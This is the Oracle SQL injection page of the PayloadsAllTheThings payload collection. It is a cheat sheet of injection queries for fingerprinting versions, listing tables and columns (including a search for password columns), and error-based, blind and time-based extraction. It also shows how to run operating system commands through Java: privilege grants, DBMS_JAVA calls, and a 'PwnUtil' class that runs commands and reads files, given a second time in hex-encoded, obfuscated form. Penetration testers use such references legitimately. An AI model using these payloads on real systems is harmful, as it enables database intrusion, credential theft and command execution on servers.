PayloadsAllTheThings/SQL Injection/OracleSQL Injection.md

Oracle SQL Injection

Summary

• Oracle SQL version
• Oracle SQL database name
• Oracle SQL List databases
• Oracle SQL List columns
• Oracle SQL List tables
• Oracle SQL Error Based
• Oracle SQL Blind
• Oracle SQL Time Based
• Oracle SQL Command execution
• References

Oracle SQL version

SELECT user FROM dual UNION SELECT * FROM v$version

Oracle SQL database name

SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;

Oracle SQL List Databases

SELECT DISTINCT owner FROM all_tables;

Oracle SQL List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';

Oracle SQL List Tables

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';

Oracle SQL Error based

Description	Query
Invalid HTTP Request	SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN	SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath	SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML	SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual
Invalid XML	SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users
SQL Error	SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))

Oracle SQL Blind

Description	Query
Version is 12.2	SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled	SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists	SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table	SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
First letter of first message is t	SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';

Oracle SQL Time based

AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 comment:   -- /**/

Oracle SQL Command Execution

• ODAT (Oracle Database Attacking Tool)

Oracle Java Execution

• List Java privileges

  select * from dba_java_policy
  select * from user_java_policy
  

• Grant privileges

  exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
  exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
  exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
  

• Execute commands
  • 10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()

  SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
  SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
  

  • 11g R1 and R2: DBMS_JAVA.RUNJAVA()

  SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
  

Oracle Java Class

/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

or (hex encoded)

/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

References

• NetSpi - SQL Wiki
• ASDC12 - New and Improved Hacking Oracle From Web
• Pentesting Oracle TNS Listener - HackTricks
• ODAT: Oracle Database Attacking Tool